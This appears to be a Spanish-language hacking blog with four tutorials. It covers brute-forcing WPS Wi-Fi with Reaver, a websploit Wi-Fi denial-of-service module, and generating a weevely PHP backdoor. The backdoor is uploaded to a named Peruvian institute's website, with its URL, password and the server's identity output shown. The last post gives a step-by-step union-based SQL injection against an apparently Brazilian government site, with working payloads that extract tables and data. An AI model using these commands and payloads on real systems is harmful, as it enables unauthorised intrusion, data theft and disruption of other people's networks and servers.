Hola amigos y lectores de mi post, les vengo a explicar como crackear redes WPA-WPA-PSK(Pre Shared Key), okey comenzemos algunos se preguntarán.

¿Qué es REAVER?

Reaver es una herramienta de fuerza bruta para redes WPS (Wi-Fi Protected Setup).

Buen comienzo. En primer lugar lo que hacemos es encender nuestra tarjeta de red en modo de seguimiento, por lo que abrirá el terminal que uso Linux y Kali consiguieron como mi principal sistema operativo en la computadora portátil. Eso sería colocar:

Airmon-ng wlan0 empezar

Para iniciar la tarjeta de red en modo monitor, de la foto:





Ahora, como podemos ver en la foto, hemos puesto nuestra tarjeta de red en modo monitor, en este caso sería el mon0.  

Ahora utilizaremos la herramienta llamada wifite, wifite es una herramienta programada en Python echa básicamente para encontrar redes cercanas a cualquier zona Wi-Fi, okey entonces abrimos otra pestaña y colocamos wifite y damos enter.

Foto:





Como se puede ver en la imagen escaneamos 2 redes WPS (WiFi Protected Setup)

- PIPE

- Movistar

Pero por ahora voy a elegir la red Wi-Fi y PIPE xD ya qué es la mía, y ahora sabemos que es vulnerable a los ataques Reaver por que es una red WPS.

Ahora tendremos que averiguar el BSSID(BASIC SERVICE SET IDENTIFICER) para iniciar el escaneo de fuerza bruta ojo el escaneo se demorara entre 16 a 19 horas no estoy tan seguro pero funciona solo sirve para redes WPA-PSK(Pre Shared Key) red pre-compartida una red solo en casa, okey algunos se preguntarán.

¿Qué es BSSID(BASIC SERVICE SET IDENTIFICER)?

BSSID(BASIC SERVICE SET IDENTIFICER) es un nombre de identificación del area local(LAN) inalambrica de todos los paquetes. Mac ( Media Access Control) formado por 48 bits, del punto de acceso inalambrico, okey entonces colocacaremos en otra pestaña o terminal airodump-ng mon0 y le daremos enter.

Foto:







Como podemos ver en la imagen podemos ver la red BBSID que de las redes Wi-Fi, ahora que sacamos la BBSID podemos comenzar a usar el Reaver para empezar a hacer fuerza bruta a la red Wi-Fi, esta herramienta no es necesario utilizar ningún diccinario WPA-PSK antes WPA/WPA2 PSK diles que se trata de "una red ósea pre-compartida solo en casa" fuerza bruta esta herramienta se utiliza más para la recuperación de la contraseña si ha olvidado, pero si llegamos a olvidar es algo tonto, así siguamos ahora vamos a abrir otra terminal o pestaña y ejecutamos lo siguiente en el terminal:

reaver-i mon0-b F8: C3: 46:37:75:7 F-vv

Le daremos enter y nos aparecera lo siguiente:

Foto:





Y como podran ver en la imagen cuando ejecutamos el comando nos comenzara analizar y trabajar sola, pero ojo para esto necesitamos ser pacientes como escribi antes esto puede ser un proceso de hasta 16 horas o máximo 19 mejor dicho no estoy muy seguro, pero como podran ver no coloco la otra imagen ya con la contraseña y el PIN  ya que es por precaución, bueno espero que hayan entendido, Bye!.

Hola amigos del blog y de lo que estan leyendo este post, en este post les vengo a explicar como usar un modulo de websploit, primeramente.

 ¿Que es Websploit?

Websploit por ahora contiene 19 modulos por la actualizacion, modulos de explotacion, modulos de Wi-Fi y modulos de Red, pero por ahora utilizare un modulo de Wi-Fi. Okey entonces comenzemos, abriremos la terminal y colocaremos lo siguiente para encender nuestra tarjeta de red en modo monitor, pero antes de nada la tarjeta de red no viene incrustada ahy que comprarla pero por suerte mia mi laptop ya viene incrustada la tarjeta de red, okey entonces colocamos lo siguiente en la terminal.

airmon-ng start wlan0
Foto:




Okey para ver las interfaces de la tarjeta de red en modo monitor colocaremos.

iwconfig
Foto:




Okey entonces otra cosa no reconfundan vmnet1 y vmnet 8 ya que es mi maquina virtual, okey entonces ahora haremos lo siguiente con airodump-ng.

¿Que es airodump-ng?

Airodump-Ng basicamente se usar para capturar "PAQUETES WIRELESS" mediante las BSSID.

¿Que es BSSID?

BSSID(BASIC SERVICE SET IDENTIFICER) es un nombre de identificación del area local inalambrica de todos los paquetes. Mac ( Media Access Control) formado por 48 bits.

Okey entonces haremos lo siguiente.

airodump-ng mon0 y le daremos enter
Foto:



Okey como veran solo tenemos una red Wi-Fi ya que es la mia llamada "PIPE", okey entonces ahora haremos lo siguiente abrimos la consola websploit.

Foto:




Okey entonces ahora colocamos "show modules" sin las comillas y veremos lo siguientes modulos.
Foto:



Okey como les escribi antes yo elegire el modulo wifi/wifi_dos entonces colocariamos lo siguiente.

use wifi/wifi_dos
set bssid F8:C3:46:37:75:7F
set essid PIPE
run

Foto:




Y entonces nos comenzara a atacar nuestra red, okey cuando nos salga este error:


Traceback (most recent call last):
File "/usr/bin/websploit", line 147, in
start()
File "/usr/bin/websploit", line 145, in start
main()
File "/usr/bin/websploit", line 119, in main
main()
File "/usr/bin/websploit", line 115, in main
wifi_dos.wifi_dos()
File "/usr/share/websploit/modules/wifi_dos.py", line 68, in wifi_dos
wifi_dos()
File "/usr/share/websploit/modules/wifi_dos.py", line 27, in wifi_dos
wifi_dos()
File "/usr/share/websploit/modules/wifi_dos.py", line 31, in wifi_dos
wifi_dos()
File "/usr/share/websploit/modules/wifi_dos.py", line 76, in wifi_dos
os.chdir("temp")
OSError: [Errno 2] No such file or directory: 'temp'

Este error sucede al no crear el directorio backlist, entonces haremos los siguiente en la terminal:

mkdir /root/temp && touch /root/temp/blacklist y le daremos enter y listo ya no nos aparecera el error, espero que hayan entendido y en mi proximo post se tratara sobre Metasploit !.

Hola amigos como verán este es mi primero post y primer Blog que he creado, en este post les vengo a enseñar como usar weevely.

¿Qué es weevely?

Weevely básicamente se usa para crear BackDoors en .PHP, esos backdoors se usan al subirlos a la web claro primeramente tendriamos que subir una Shell o no ahy problema si lo suben atravez de algún Upload e ir a la dirección de como llamaron el BackDoor, weevely se usa para rootear servidores pero en este caso ya qué no tengo la versión del Local Root Exploit osea la versión del Kernel de la Website no sería un rooteo, bueno comenzemos, mi web victima sería la de una univerdad de Perú.


Okey y como verán tuve que borrar el Link completo de la Shell para evitar problemas, básicamente el pentest se basa en legal y también ilegal.

¿Por qué Legal?

Por que tendriamos la autorización del administrador de la web y podriamos hacer ciertas cosas y publicar las vulnerabilidades (HUECO DE SEGURIDAD) esto se basa como un white hat.

¿Por qué ilegal?

Por qué esta vez no tendriamos la autorización del administrador y podriamos hacer lo uno quiera a la página web, desconfigurarla esto se basa a un defacement, borrar la base de datos,etc, muchas cosas más podriamos hacer, esto es basa a un Black Hat.

Okey ahora haremos lo siguiente abrimos la terminal ya que yo uso Kali Linux una distribución muy buena basada en Debian, okey la abrimos y ponemos lo siguiente, colocamos weevely y dariamos enter.


Okey como podrán ver al ejecutar la herramienta Weevely nos aparecera una ciertas instrucciones para crear el BackDoor programado en PHP, entonces haremos lo siguiente antes de nada el nombre del BackDoor lo nombrare como "WhiteHat.php" y la contraseña será "WhiteHat123", okey entonces pondriamos lo siguiente:

weevely generate WhiteHat123 /root/Desktop/WhiteHat.php

Okey y como verán el root/Desktop/WhiteHat es la ubicación del BackDoor, y dariamos enter y nos aparecera lo siguiente.


Okey nos apareceió lo siguiente:

[generate.php] Backdoor file '/root/Desktop/WhiteHat.php' created with password 'WhiteHat123'

Esto significa que se nos ha creado el BackDoor en el escritorio satisfactoriamente, okey ahora vamos a la shell y subamos el BackDoor, y bien !! se nos ha subido el BackDoor satisfactoriamente.


Okey como verán entonces se nos ha subido el BackDoor sin problemas en el Upload de la Shell, okey como verán ahora, iremos al Link del BackDoor , okey como escribi entonces el link del BackDoor sería el siguiente.

http://institutoabat.edu.pe/images/WhiteHat.php

No nos aparecera nada ya qué es Normal así son los BackDoors, e igualmente al crear un BackDoor en la vulnerabilidad de Windows 7 al ejecutar el BackDoor no nos aparecera nada se ejecuta y no abre nada es igúal, okey entonces vamos a la terminal y colocamos lo siguiente

weevely http://institutoabat.edu.pe/images/WhiteHat.php WhiteHat123

Otra cosa recuerden que como escribi antes el WhiteHat123 es la contraseña del BackDoor y dariamos enter entonces y nos aparecera lo siguiente


Y como verán ya estamos dentro del servidor, okey entonces colocariamos id y uname -a para ver la versión del Local Root Exploit osea la versión del Kernel.


Okey como verán esta esta es la id:

uid=1394(institut) gid=1382(institut) groups=1382(institut)

Está es la versión del Kernel del servidor:
Linux evop21.areserver.net 2.6.18-348.16.1.el5.028stab108.1 #1 SMP Tue Aug 27 13:02:53 MSD 2013 i686 i686 i386 GNU/Linux

Okey como verán la versión del Kernel no la tengo o si no les enseñaría en este mismo post a rootear un servidor, pero bueno, espero que hayan entendido y aquí les dejare el video que hice ayer.

Gracias a mi amigo  oswire punk por sus aportes

Hola amigos y lectores interesados en aprender...., en este post les vengo a explicar como explotar una Base De Datos manualmente pero esta vez no en metodo GET si no en metodo POST, y bueno se preguntarán.

¿Como qué en metodo Post?

Pués esta vez para utilizar este metodo necesitariamos el complemento add-nos para Mozilla Firefox (Live HTTP Headers), este complemento lo que hace es capturar las cabeceras y el tráfico de donde nosotros hemos entrado además también podremos ver nuestras cookies, bueno empezemos como verán mi victima será la web del gobierno de Brasil pero no la mostrare ya por seguridad.

Bueno entonces comenzemos como explique antes, para este metodo necesitariamos alguna barra de busqueda para comenzar a consultar la base de datos, bueno entonces como podrán ver encontre una barra de busqueda entonces en esa barra colocare cualquier número y nos aparecerá lo siguiente en el complemento add-nos Live HTTP Headers.



Okey y como ven nos ha capturado la cabeceras y ahora haremos lo siguiente, en la primera barra donde aparecera la URL daremos a repetir y nos aparecerá lo siguiente.



Bueno y como vemos la repetición esta en contenido "POST", ahora como vemos en el contenido post nos apareció "busca=1", okey entonces colocaremos una tilde y veremos si es vulnerable o no.



Y como podremos ver es vulnerable la website !, ahora colocaremos lo siguiente para comenzar a consultar la base de datos, comenzaremos colocando "order by unnúmero--+" donde dice unnúmero es donde elegiremos cualquier número que nosotros queramos otra cosa para saber si esta es la columna o no es la columna a veces nos aparecerá nada, algunas otras veces nos aparecerá error algunas otras veces nos aparecerá "Unkown Column" y cuando es la columna pués no tiene que aparecer el complemento completo de la página web, bueno comenzemos colocando "order by 8--+"


Bueno y como vemos no es la columna ahora probemos con "order by 7--+" haber si esta es la columna.


Y como vemós esta si es la columna !, ahora pondremos lo siguiente para que nos comienze a dar las consultas de la base de datos, colocaremos "union select 1,2,3,4,5,6,7--+" sin las comillas y nos aparecerá lo siguiente.



Y como vemós nos apareció el número "2" entonces ese es el que elegiremos para comenzar a consultar la base de datos, entonces borraremos el número "2" y pondremos lo siguiente.

union select 1,group_concat(0x3c62723e,table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()--+



Y como verán en la imagen esas son las tablas de la base de datos, ya casi llegamos al último paso, bueno entonces elegiremos la tabla "categorias" para evitarnos problemas al públicar los datos del administrador, okey entonces ahora haremos pondremos lo siguiente.

union select 1,group_concat(0x3c62723e,column_name),3,4,5,6,7 from information_schema.columns where table_name=0x63617465676f72696173--+

Como verán el 0x no significa nada pero el "63617465676f72696173" es el nombre de categorias y como lo encodie, pués muy fácil como se me habia olvidado antes también necesitariamos el complemento HackBar, y en que parte de la sección lo encodeo?, pués muy fácil les pasaré una imagen de la sección.






Le daremos click pondremos el nombre de la tabla y listo estará encodeado, bueno ahora siguamos, colocamos lo que escrbí y nos quedaría así.





Y como vemos nos ha aparecido las columnas de la tabla categorias (id, nome), y como vemos en la imagen solo hay dos entonces pondríamos lo siguiente para completar el resultado de las consultas al sacar la base de datos.

busca=1' union select 1,group_concat(0x3c62723e,0x3d,id,0x3d,nome),3,4,5,6,7 from categorias--+



Y como vemos nos ha sacado la información de la columna !, otra cosa el "0x3d" significa el signo (=) pero en forma en hexadecimal, bueno entonces esto sería todo, hasta la próxima !.


GRACIAS A MI AMIGO OSWIRE PUNK  por su aporte